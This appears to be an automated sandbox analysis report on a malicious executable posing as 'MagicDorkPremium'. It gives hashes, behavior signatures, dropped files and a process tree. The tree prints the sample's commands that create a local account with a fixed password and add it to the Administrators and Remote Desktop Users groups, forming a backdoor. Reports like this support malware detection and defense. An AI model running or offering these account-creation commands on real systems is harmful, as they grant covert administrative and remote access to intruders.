Analysis

  • max time kernel
    148s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    04-12-2024 13:09

General

  • Target

    MagicDorkPremiumv3.4.5.exe

  • Size

    8KB

  • MD5

    bc4bc3abc2a6c7008ba586394e653f6a

  • SHA1

    a213a27ad4d756506e7a8b581ee6686031c70610

  • SHA256

    90df211fe009f950d2f0a903bf2a2e609788b2d9d5183a28aab02c528ee8d505

  • SHA512

    e52a45671658725444e3b6cb72547f942b831274980f239f8e6a7899dd9506538ccd3616532f1492a94c1f47a2c09fd9f88480f615da61039fa604223f280b8d

  • SSDEEP

    96:yp+bNXPhviNjOi4cBmdjS+d579i9bm605/ltk+Vdc0M1ks5OaczNtK:ykZXRikFdm+f96bmzZNdfMOs1m

Malware Config

Signatures

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Remote Service Session Hijacking: RDP Hijacking 1 TTPs 1 IoCs

    Adversaries may hijack a legitimate user's remote desktop session to move laterally within an environment.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Permission Groups Discovery: Local Groups 1 TTPs

    Attempt to find local system groups and permission settings.

  • System Location Discovery: System Language Discovery 1 TTPs 12 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Delays execution with timeout.exe 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 33 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\MagicDorkPremiumv3.4.5.exe
    "C:\Users\Admin\AppData\Local\Temp\MagicDorkPremiumv3.4.5.exe"
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1940
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" net user ThanksEgalsa ThanksEgalsa /add
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1888
      • C:\Windows\SysWOW64\net.exe
        "C:\Windows\system32\net.exe" user ThanksEgalsa ThanksEgalsa /add
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2252
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 user ThanksEgalsa ThanksEgalsa /add
          4⤵
          • System Location Discovery: System Language Discovery
          PID:4684
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" net localgroup administrators ThanksEgalsa /add
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:5112
      • C:\Windows\SysWOW64\net.exe
        "C:\Windows\system32\net.exe" localgroup administrators ThanksEgalsa /add
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:636
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 localgroup administrators ThanksEgalsa /add
          4⤵
          • System Location Discovery: System Language Discovery
          PID:3716
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" net localgroup "Remote Desktop Users" ThanksEgalsa /add
      2⤵
      • Remote Service Session Hijacking: RDP Hijacking
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3912
      • C:\Windows\SysWOW64\net.exe
        "C:\Windows\system32\net.exe" localgroup Remote Desktop Users ThanksEgalsa /add
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:3432
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 localgroup Remote Desktop Users ThanksEgalsa /add
          4⤵
          • System Location Discovery: System Language Discovery
          PID:4088
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp885A.tmp.cmd""
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1152
      • C:\Windows\SysWOW64\timeout.exe
        timeout 4
        3⤵
        • System Location Discovery: System Language Discovery
        • Delays execution with timeout.exe
        PID:1772

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

    Filesize

    1KB

    MD5

    33b19d75aa77114216dbc23f43b195e3

    SHA1

    36a6c3975e619e0c5232aa4f5b7dc1fec9525535

    SHA256

    b23ced31b855e5a39c94afa1f9d55b023b8c40d4dc62143e0539c6916c12c9d2

    SHA512

    676fa2fd34878b75e5899197fe6826bb5604541aa468804bc9835bd3acabed2e6759878a8f1358955413818a51456816e90f149133828575a416c2a74fc7d821

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    11KB

    MD5

    4f6cd3de1e0b34a0183daea40ed1e735

    SHA1

    2fb1dd697a00304240b85a46b300d4a076469098

    SHA256

    e1ea14aa026f7253ad3c75d5b5c11bfd738bf7641b492785eb9b0bd7610e995f

    SHA512

    7c113367eecdf2f3100e79cbaabf41c967406647e7d28c9dab6292ec520c560ab4b451673c72460206bafc18815342426e19e8b8637433c243f95c5abd7e603b

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    11KB

    MD5

    c97eb6343a57bfbb90125cda5e62e1e0

    SHA1

    de40b2a4f48e7ded3bf79e6079fa50dbb371ab8d

    SHA256

    84d18825058af53ab416788233ae7489c0f1a9c041bfff9ae3da4c6003fc9cc4

    SHA512

    266e9dd60f4107af340693009b54a4bbd9ad22dbb97a8451709b1f6eaec50ab114e24be3ebf3e580a97bb16a890890a66afda42e0a424d7caca50501f1d78cdb

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gxxfvt5r.h2j.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\tmp885A.tmp.cmd

    Filesize

    168B

    MD5

    89e89c6704523adc865dcef0a9df2809

    SHA1

    b8439be6fb4a83a10f4246cd4ef8aeb5a5bd6276

    SHA256

    97f37a855fc6248b7cb906ca33830e0dd945d29630af0674bfe9aa6f02fc4f72

    SHA512

    4f15352d8b6abcafc09c1ef64ef350b1ae0136fca2b3bf648f79134cfcfa8770de3b5735a0008bdaebf3e416a070f0a876f7fc88a11feb6e7a1047a6e27467ee

  • memory/1888-20-0x0000000005A70000-0x0000000005A8E000-memory.dmp

    Filesize

    120KB

  • memory/1888-21-0x0000000005AA0000-0x0000000005AEC000-memory.dmp

    Filesize

    304KB

  • memory/1888-7-0x0000000004AB0000-0x0000000004AD2000-memory.dmp

    Filesize

    136KB

  • memory/1888-9-0x0000000004BC0000-0x0000000004C26000-memory.dmp

    Filesize

    408KB

  • memory/1888-8-0x0000000004B50000-0x0000000004BB6000-memory.dmp

    Filesize

    408KB

  • memory/1888-6-0x0000000074FB0000-0x0000000075760000-memory.dmp

    Filesize

    7.7MB

  • memory/1888-5-0x0000000074FB0000-0x0000000075760000-memory.dmp

    Filesize

    7.7MB

  • memory/1888-4-0x0000000004CD0000-0x00000000052F8000-memory.dmp

    Filesize

    6.2MB

  • memory/1888-19-0x0000000005560000-0x00000000058B4000-memory.dmp

    Filesize

    3.3MB

  • memory/1888-24-0x0000000074FB0000-0x0000000075760000-memory.dmp

    Filesize

    7.7MB

  • memory/1888-3-0x0000000074FB0000-0x0000000075760000-memory.dmp

    Filesize

    7.7MB

  • memory/1888-2-0x0000000002170000-0x00000000021A6000-memory.dmp

    Filesize

    216KB

  • memory/1940-1-0x0000000000420000-0x0000000000428000-memory.dmp

    Filesize

    32KB

  • memory/1940-0-0x0000000074FBE000-0x0000000074FBF000-memory.dmp

    Filesize

    4KB

  • memory/3912-37-0x0000000005850000-0x0000000005BA4000-memory.dmp

    Filesize

    3.3MB